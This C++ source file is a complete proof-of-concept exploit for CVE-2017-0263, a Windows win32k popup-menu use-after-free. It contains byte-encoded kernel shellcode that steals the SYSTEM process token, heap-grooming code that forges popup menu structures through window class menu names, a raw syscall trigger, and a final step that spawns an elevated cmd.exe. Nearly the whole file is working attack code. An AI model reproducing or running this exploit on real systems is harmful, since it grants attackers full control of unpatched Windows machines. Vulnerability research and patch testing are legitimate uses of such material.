#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")
#define POCDEBUG 0
#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
static constexpr UINT num_PopupMenuCount = 2;
static constexpr UINT num_WndShadowCount = 3;
static constexpr UINT num_NtUserMNDragLeave = 0x11EC;
static constexpr UINT num_offset_WND_pcls = 0x64;
static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
static UINTiMenuCreated= 0;
static BOOLbDoneExploit= FALSE;
static DWORD popupMenuRoot = 0;
static HWNDhWindowMain = NULL;
static HWNDhWindowHunt = NULL;
static HWNDhWindowList[0x100] = { 0 };
static UINTiWindowCount= 0;
static PVOID pvHeadFake = NULL;
static PVOID pvAddrFlags = NULL;
typedef struct _HEAD {
HANDLEh;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD {
HEADhead;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _DESKHEAD {
PVOID rpdesk;
PBYTE pSelf;
} DESKHEAD, *PDESKHEAD;
typedef struct _THRDESKHEAD {
THROBJHEADthread;
DESKHEADdeskhead;
} THRDESKHEAD, *PTHRDESKHEAD;
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTEpfnWindProc[];
} SHELLCODE, *PSHELLCODE;
static PSHELLCODE pvShellCode = NULL;
// Arguments:
// [ebp+08h]:pwnd = pwndWindowHunt;
// [ebp+0Ch]:msg= 0x9F9F;
// [ebp+10h]:wParam = popupMenuRoot;
// [ebp+14h]:lParam = NULL;
// In kernel-mode, the first argument is tagWND pwnd.
static
BYTE
xxPayloadWindProc[] = {
// Loader+0x108a:
// Judge if the `msg` is 0x9f9f value.
0x55, // pushebp
0x8b, 0xec, // mov ebp,esp
0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch]
0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh
0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128
// Loader+0x109b:
// Judge if CS is 0x1b, which means in user-mode context.
0x66, 0x8c, 0xc8, // mov ax,cs
0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh
0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // jeLoader+0x1128
// Loader+0x10a8:
// Get the address of pwndWindowHunt to ECX.
// Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
// Get the address of pvShellCode to EDX by CALL-POP.
// Get the address of pvShellCode->tagCLS[0x100] to ESI.
// Get the address of popupMenuRoot to EDI.
0xfc, // cld
0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8]
0xff, 0x41, 0x16, // inc dword ptr [ecx+16h]
0x60, // pushad
0xe8, 0x00, 0x00, 0x00, 0x00, // call$5
0x5a, // pop edx
0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h
0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h
0x8d, 0x72, 0x18, // lea esi,[edx+18h]
0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h]
// Loader+0x10c7:
0x85, 0xdb, // testebx,ebx
0x74, 0x13, // jeLoader+0x10de
// Loader+0x10cb:
// Judge if pvShellCode->tagCLS[ebx] == NULL
0xad, // lodsdword ptr [esi]
0x4b, // dec ebx
0x83, 0xf8, 0x00, // cmp eax,0
0x74, 0xf5, // jeLoader+0x10c7
// Loader+0x10d2:
// Judge if tagCLS->lpszMenuName == popupMenuRoot
0x03, 0x42, 0x08, // add eax,dword ptr [edx+8]
0x39, 0x38, // cmp dword ptr [eax],edi
0x75, 0xee, // jne Loader+0x10c7
// Loader+0x10d9:
// Zero tagCLS->lpszMenuName
0x83, 0x20, 0x00, // and dword ptr [eax],0
0xeb, 0xe9, // jmp Loader+0x10c7
// Loader+0x10de:
// Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
// Get the value of pvShellCode->pid to EAX.
0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8]
0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch]
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x8b, 0x09, // mov ecx,dword ptr [ecx]
0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h]
0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4]
0x51, // pushecx
// Loader+0x10f0:
// Judge if EPROCESS->UniqueId == pid.
0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax
0x74, 0x07, // jeLoader+0x10fd
// Loader+0x10f6:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf3, // jmp Loader+0x10f0
// Loader+0x10fd:
// Get current EPROCESS to EDI.
0x8b, 0xf9, // mov edi,ecx
0x59, // pop ecx
// Loader+0x1100:
// Judge if EPROCESS->UniqueId == 4
0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4
0x74, 0x07, // jeLoader+0x110e
// Loader+0x1107:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf2, // jmp Loader+0x1100
// Loader+0x110e:
// Get system EPROCESS to ESI.
// Get the value of system EPROCESS->Token to current EPROCESS->Token.
// Add 2 to OBJECT_HEADER->PointerCount of system Token.
// Return 0x9F9F to the caller.
0x8b, 0xf1, // mov esi,ecx
0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h]
0x03, 0xf0, // add esi,eax
0x03, 0xf8, // add edi,eax
0xad, // lodsdword ptr [esi]
0xab, // stosdword ptr es:[edi]
0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h
0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2
0x61, // popad
0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh
0xeb, 0x05, // jmp Loader+0x112d
// Loader+0x1128:
// Failed in processing.
0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1
// Loader+0x112d:
0xc9, // leave
0xc2, 0x10, 0x00, // ret 10h
};
static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
#define TYPE_WINDOW 1
static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
static
PVOID
xxHMValidateHandle(HWND hwnd)
{
PVOID RetAddr = NULL;
if (!pfnHMValidateHandle)
{
xxGetHMValidateHandle();
}
if (pfnHMValidateHandle)
{
RetAddr = xxHMValidateHandleEx(hwnd);
}
return RetAddr;
}
static
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
__asm { mov eax, num };
__asm { int 2eh };
}
static
LRESULT
WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg != WM_NCDESTROY || bDoneExploit)
{
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
std::cout << "::" << __FUNCTION__ << std::endl;
POCDEBUG_BREAK();
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208;//->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake;//->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake;//->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake;//->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake;//->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake;//->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake;//->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;//->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake;//->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;//->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake;//->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
xxSyscall(num_NtUserMNDragLeave, 0, 0);
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
#define MENUCLASS_NAME L"#32768"
static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
static HWND hwndMenuHit = 0;
static UINT iShadowCount = 0;
if (bDoneExploit || iMenuCreated != num_PopupMenuCount - 2 || cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
std::cout << "::" << __FUNCTION__ << std::endl;
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
std::cout << "::iShadowCount=" << iShadowCount << std::endl;
POCDEBUG_BREAK();
if (++iShadowCount == num_WndShadowCount)
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
{
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
else if (!wcscmp(szTemp, MENUCLASS_NAME))
{
hwndMenuHit = cwp->hwnd;
std::cout << "::hwndMenuHit=" << hwndMenuHit << std::endl;
}
return CallNextHookEx(0, code, wParam, lParam);
}
#define MN_ENDMENU 0x1F3
static
VOID
CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWNDhwnd,
LONGidObject,
LONGidChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
UNREFERENCED_PARAMETER(hWinEventHook);
UNREFERENCED_PARAMETER(event);
UNREFERENCED_PARAMETER(idObject);
UNREFERENCED_PARAMETER(idChild);
UNREFERENCED_PARAMETER(idEventThread);
UNREFERENCED_PARAMETER(dwmsEventTime);
std::cout << "::" << __FUNCTION__ << std::endl;
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= num_PopupMenuCount)
{
std::cout << ">>SendMessage(MN_ENDMENU)" << std::endl;
POCDEBUG_BREAK();
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
std::cout << ">>SendMessage(WM_LBUTTONDOWN)" << std::endl;
POCDEBUG_BREAK();
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra)
{
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc= DefWindowProcW;
wndClass.cbWndExtra = cbWndExtra;
wndClass.hInstance= GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName= lpszClassName;
return RegisterClassExW(&wndClass);
}
static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle)
{
return CreateWindowExW(dwExStyle,
lpszClassName,
NULL,
dwStyle,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
}
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
static
DWORD
WINAPI
xxTrackExploitEx(LPVOID lpThreadParameter)
{
UNREFERENCED_PARAMETER(lpThreadParameter);
std::cout << "::" << __FUNCTION__ << std::endl;
POCDEBUG_BREAK();
for (INT i = 0; i < num_PopupMenuCount; i++)
{
MENUINFO mi = { 0 };
hpopupMenu[i]= CreatePopupMenu();
mi.cbSize= sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hpopupMenu[i], &mi);
}
for (INT i = 0; i < num_PopupMenuCount; i++)
{
LPCSTR szMenuItem = "item";
AppendMenuA(hpopupMenu[i],
MF_BYPOSITION | MF_POPUP,
(i >= num_PopupMenuCount - 1) ? 0 : (UINT_PTR)hpopupMenu[i + 1],
szMenuItem);
}
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize= sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra= 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName= NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
if (hwnd == NULL)
{
continue;
}
hWindowList[iWindowCount++] = hwnd;
}
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
DWORD fOldProtect = 0;
VirtualProtect(pvShellCode, 0x1000, PAGE_EXECUTE_READ, &fOldProtect);
xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000);
hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
WS_VISIBLE);
xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
WS_EX_LEFT,
WS_OVERLAPPED);
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++)
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x28, 0);
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
SetWindowLongW(hWindowHunt, 0x6C, 0);
SetWindowLongW(hWindowHunt, 0x1F8, 0xC033C033);
SetWindowLongW(hWindowHunt, 0x1FC, 0xFFFFFFFF);
pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return 0;
}
INT POC_CVE20170263(VOID)
{
std::cout << "-------------------" << std::endl;
std::cout << "POC - CVE-2017-0263" << std::endl;
std::cout << "-------------------" << std::endl;
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName= 0x050;
pvShellCode->off_THREADINFO_ppi= 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token= 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
std::cout << "CREATE WORKER THREAD..." << std::endl;
POCDEBUG_BREAK();
HANDLE hThread = CreateThread(NULL, 0, xxTrackExploitEx, NULL, 0, NULL);
if (hThread == NULL)
{
return FALSE;
}
while (!bDoneExploit)
{
Sleep(500);
}
xxCreateCmdLineProcess();
DestroyWindow(hWindowMain);
TerminateThread(hThread, 0);
std::cout << "-------------------" << std::endl;
getchar();
return bDoneExploit;
}
INT main(INT argc, CHAR *argv[])
{
POC_CVE20170263();
return 0;
}